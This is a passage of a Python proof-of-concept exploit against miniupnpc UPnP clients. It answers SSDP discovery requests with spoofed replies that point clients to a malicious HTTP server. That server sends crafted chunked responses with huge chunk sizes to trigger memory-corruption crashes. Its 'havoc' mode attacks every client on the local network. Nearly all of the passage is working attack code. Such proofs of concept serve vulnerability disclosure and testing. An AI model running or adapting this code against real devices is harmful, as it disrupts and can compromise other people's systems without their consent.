if SELECT_SCENARIO==SCENARIO_CRASH_LARGE_MEMCPY: chunks = [(None, "<xml>BOOM</xml>"), (0x80000000, "A" * 9000), (None, "bye")] elif SELECT_SCENARIO==SCENARIO_CRASH_1_BYTE_BUFFER: chunks = [(None, "<xml>BOOM</xml>"), (0x80000000 - 1 + 15, "A" * 9000), (None, "bye")] else: chunks = [(None, "<xml>BOOM</xml>"), (0x80000000-1+15, "A" * 9000), (None, "bye")] self.send(client, connection, chunks) def main(): #from optparse import OptionParser import argparse global SELECT_SCENARIO SELECT_SCENARIO = SCENARIO_CRASH_LARGE_MEMCPY# crash with a large memcpy # SELECT_SCENARIO = SCENARIO_CRASH_REALLOC_NULLPTR# crash with a memcpy to nullptr due to realloc error (miniupnpc v1.8) # SELECT_SCENARIO = SCENARIO_CRASH_1_BYTE_BUFFER logging.basicConfig(format='[%(filename)s - %(funcName)20s() ][%(levelname)8s] %(message)s', loglevel=logging.DEBUG) logger.setLevel(logging.DEBUG) usage = """poc.py [options] example: poc.py --listen <your_local_ip>:65000 [--havoc | --target <ip> [<ip>..]] """ #parser = OptionParser(usage=usage) parser = argparse.ArgumentParser(usage=usage) parser.add_argument("-q", "--quiet", action="store_false", dest="verbose", default=True, help="be quiet [default: False]") parser.add_argument("-l", "--listen", dest="listen", help="local httpserver listen ip:port. Note: 0.0.0.0:<port> is not allowed. This ip is being used " "in the SSDP response Location header.") parser.add_argument("-u", "--usn", dest="usn", default="uuid:deadface-dead-dead-dead-cafebabed00d::upnp:rootdevice", help="Unique Service Name. ") parser.add_argument("-t", "--target", dest="target", default=[], nargs='*', help="Specify a list of client-ips to attack. Use --havoc to attempt to crash all clients.") parser.add_argument("-z", "--havoc", action="store_true", dest="havoc", default=False, help="Attempt to attack all clients connecting to our http server. Use at your own risk.") options= parser.parse_args() if not options.verbose: logger.setLevel(logging.INFO) if not options.havoc and not options.target: parser.error("No target specified. Use --havoc to attack all devices or --target <ip> to attack specific ips.") if options.havoc: options.target = None if not options.listen : parser.error("missing mandatory option --listen <ip>:<port>") options.listen = options.listen.strip().split(":") options.listen = (options.listen[0], int(options.listen[1])) if "0.0.0.0" in options.listen[0]: parser.error("0.0.0.0 not allowed for --listen") logger.info(""" _______ _____ _____ _____ / |/ ||||_| | |_|___ ________ ___ ___ ___ / // / ||| __| | | | __| _ _ _ | | . || | . |_| -_| |_/|_/|_____|__||_|___|__| |_|_|_||_|_|___||_|_|_|___|_| |___ //github.com/tintinweb [mode]%s [listen]%s (local http server listening ip) [usn ]%s """%("⚡havoc (targeting any incoming client)" if options.havoc else " filter (targeting %r)"%options.target, "%s:%d"%options.listen, options.usn)) webserver = BadHttpServer(options.listen, options.target) logger.debug("spawning webserver: %r" % webserver) webserver.start() def handle_msearch(upnp, msg, peer): # logger.info("MSEARCH! - %r" % msg) # build answer # template = """NOTIFY * HTTP/1.1 template = """HTTP/1.1 200 OK USN:<overridden> NTS:ssdp:alive SERVER:<overridden> HOST:239.255.255.250:1900 LOCATION:<overridden> CACHE-CONTROL:max-age=60 NT:upnp:rootdevice""" ans = HttpLikeMessage(template) ans.header["USN"] = options.usn + msg.header["ST"] ans.header["SERVER"] = "UPnP Killer/%s" % __version__ ans.header["LOCATION"] = "http://%s:%d/xxxx.xml" % webserver.bind ans.header["ST"] = msg.header["ST"] ans.header["EXT"] = "" logger.debug("[----->] sending answer: %s" % repr(ans)) # upnp.sock.sendto(str(ans), (upnp.group, upnp.port)) upnp.sock.sendto(str(ans), peer) def handle_notify(upnp, msg, peer): # logger.info("NOTIFY! %r" % msg) pass upnp = UPnPListener() upnp.register_callback("M-SEARCH", handle_msearch) upnp.register_callback("NOTIFY", handle_notify) upnp.listen() logger.info("--end--") if __name__ == "__main__": main() |